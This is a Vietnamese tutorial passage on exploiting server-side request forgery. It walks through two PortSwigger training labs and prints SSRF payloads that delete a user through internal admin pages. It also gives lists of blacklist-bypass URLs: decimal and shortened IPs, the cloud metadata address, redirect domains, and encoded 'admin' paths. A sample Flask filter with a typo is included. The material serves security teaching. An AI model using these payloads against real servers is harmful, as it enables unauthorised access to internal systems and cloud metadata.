II. Phân tích và khai thác các lỗ hổng Server-side request forgery (tiếp)
3. Lỗ hổng SSRF truy cập hệ thống back-end khác
Bên cạnh việc tận dụng lỗ hổng SSRF truy cập vào server local, chúng ta cũng có thể truy cập vào các hệ thống back-end khác. Các hệ thống này thường không thể truy cập trực tiếp từ public server, để tấn công được các server này chúng ta cần biết chính xác domain hoặc địa chỉ IP của chúng. Có thể sử dụng phương pháp Brute force tìm kiếm trong dải địa chỉ IP phù hợp với mục tiêu tấn công.
Phân tích lab Basic SSRF against another back-end system
Miêu tả: Chức năng stock check của trang web truy xuất dữ liệu từ trang mạng nội bộ trả về cho người dùng. Tại đây chứa lỗ hổng SSRF. Biết rằng hệ thống mạng nội bộ có trang quản trị viên /admin
trong dải 192.168.0.X với cổng
80808080
. Để giải quyết bài lab, chúng ta cần khai thác lỗ hổng SSRF truy cập vào trang quản trị viên này và thực hiện xóa tài khoản người dùng carlos.Tương tự lab trước, tham số stockApi
truyền bằng phương thức POST cho hệ thống giá trị là một địa chỉ URL và địa chỉ này chỉ có thể truy cập từ mạng local.
Kiểm tra lỗ hổng SSRF bằng kỹ thuật DNS lookup và thành công:
Chú ý địa chỉ ban đầu được truyền tới hệ thống của trang web: http://192.168.0.1:8080/product/stock/check?productId=1&storeId=1
có IP 192.168.0.1
, mở port
80808080192.168.0.X:8080/admin
. Ý tưởng chúng ta sẽ thực hiện brute force tất cả khả năng của IP này để tìm ra URL chính xác.
Gửi request tới chức năng Intruder
Đặt payload marker tại vị trí cần tấn công vét cạn. Đây là dạng địa chỉ IPv4 nên octet X có giá trị từ
00
đến255255
, đó cùng là danh sách payload chúng ta thực hiện vét cạn:Quan sát thấy IP 192.168.0.139 trả về status
200200
và trong response chứa chức năng của trang quản trị viên:Cuối cùng truy cập tới URL này và thực hiện xóa tài khoản người dùng carlos. Payload: stockApi=http://192.168.0.139:8080/admin/delete?username=carlos
Bài lab được giải quyết:
4. SSRF và bypass blacklist-based input filters
Các địa chỉ thường dùng để truy cập vào mạng local thường có dạng http://localhost
hoặc http://127.0.0.1
, bởi vậy, chúng ta có thể ngăn chặn các cụm từ nhạy cảm này bằng black list – danh sách “đen” gồm các phần tử không được phép xuất hiện. Ví dụ đoạn code sau:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | <span class="token keyword">from</span> flask <span class="token keyword">import</span> <span class="token operator">*</span> <span class="token keyword">import</span> requests app <span class="token operator">=</span> Flask<span class="token punctuation">(</span>__name__<span class="token punctuation">)</span> <span class="token decorator annotation punctuation">@app<span class="token punctuation">.</span>route</span><span class="token punctuation">(</span><span class="token string">'/ssrf'</span><span class="token punctuation">)</span> <span class="token keyword">def</span> <span class="token function">follow_url</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span> url <span class="token operator">=</span> request<span class="token punctuation">.</span>args<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">'url'</span><span class="token punctuation">,</span> <span class="token string">''</span><span class="token punctuation">)</span> blacklist <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'127.0.0.1'</span><span class="token punctuation">,</span> <span class="token string">'localhost'</span><span class="token punctuation">]</span> <span class="token keyword">for</span> check <span class="token keyword">in</span> blacklist<span class="token punctuation">:</span> <span class="token keyword">if</span> check <span class="token keyword">in</span> urk<span class="token punctuation">:</span> <span class="token keyword">return</span> <span class="token string">"Attack SSRF detected!"</span> <span class="token keyword">return</span> <span class="token punctuation">(</span>requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">.</span>text<span class="token punctuation">)</span> <span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">'__main__'</span><span class="token punctuation">:</span> app<span class="token punctuation">.</span>run<span class="token punctuation">(</span>host <span class="token operator">=</span> <span class="token string">"0.0.0.0"</span><span class="token punctuation">,</span> port <span class="token operator">=</span> <span class="token number">9999</span><span class="token punctuation">)</span> |
Trang web kiểm tra các giá trị 127.0.0.1
, localhost
trong blacklist có xuất hiện trong tham số url
hay không từ đó thực hiện ngăn chặn cuộc tấn công SSRF tới server local.
Tuy nhiên, để truy cập vào server local chúng ta có nhiều cách bypass cơ chế ngăn chặn này.
- Bypass với domain redirection
1 2 3 4 5 6 | http://spoofed.burpcollaborator.net http://localtest.me http://customer1.app.localhost.my.company.127.0.0.1.nip.io http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost http://bugbounty.dod.network redirect to 127.0.0.2 == localhost |
- Bypass với decimal IP location
1 2 3 4 5 | http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1 http://2852039166/ = http://169.254.169.254 |
- Bypass với rare address
1 2 3 4 | http://0/ http://127.1 http://127.0.1 |
Hệ thống cũng có thể thực hiện ngăn chặn các từ khóa đặc biệt (chẳng hạn từ khóa admin). Chúng ta có thể bypass bằng cách sau:
- Bypass bằng URL encoding
1 2 3 | http://127.0.0.1/%61dmin http://127.0.0.1/%2561dmin |
- Bypass bằng các ký tự đặc biệt
1 2 3 4 5 6 | http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com // các ký tự đặc biệt: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ |
- Bypass sử dụng Unicode
Còn nhiều cách bypass khác các bạn có thê tham khảo thêm tại Payloads all the things.
Phân tích lab SSRF with blacklist-based input filter
Miêu tả: Chức năng stock check của trang web truy xuất dữ liệu từ trang mạng nội bộ trả về cho người dùng. Tại đây chứa lỗ hổng SSRF. Biết rằng trang web có một cơ chế ngăn chặn tấn công SSRF bao gồm hai lớp kiểm tra. Để giải quyết bài lab, chúng ta cần vượt qua cơ chế ngăn chặn này, truy cập vào trang quản trị viên tại http://localhost/admin
và thực hiện xóa tài khoản người dùng carlos.
Tương tự các lab trước, tham số stockApi
tại chức năng check stock truyền tới hệ thống một giá trị URL qua phương thức POST.
Kiểm tra lỗ hổng SSRF, thực hiện DNS lookup thành công:
Kiểm tra cơ chế ngăn chặn của hệ thống, chúng ta nhận thấy trang web sử dụng black list ngăn chặn các từ khóa đặc biệt như localhost
và 127.0.0.1
:
Chúng ta có thể bypass bước ngăn chặn này với rare address http://127.1
hoặc http://127.0.1
Truy cập tới /admin
cũng bị ngăn chặn:
Lớp ngăn chặn thứ hai này cũng sử dụng black list cho từ khóa admin
, bypass:
- Cách
11: Sử dụng ký tự viết hoa, chẳng hạnAdmin
, payload:stockApi=http://127.0.1/Admin
- Cách
22: Encode URL, có thể thực hiện URL encode ký tự bất kỳ. Lưu ý cần encode 22 lần do trong quá trình POST đã có 11lần decode URL. Payload:
stockApi=http://127.0.1/%25%36%31dmin
Xóa tài khoản người dùng carlos và hoàn thành bài lab:
Các tài liệu tham khảo
- https://portswigger.net/web-security/ssrf
- https://en.wikipedia.org/wiki/IPv4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery
- https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf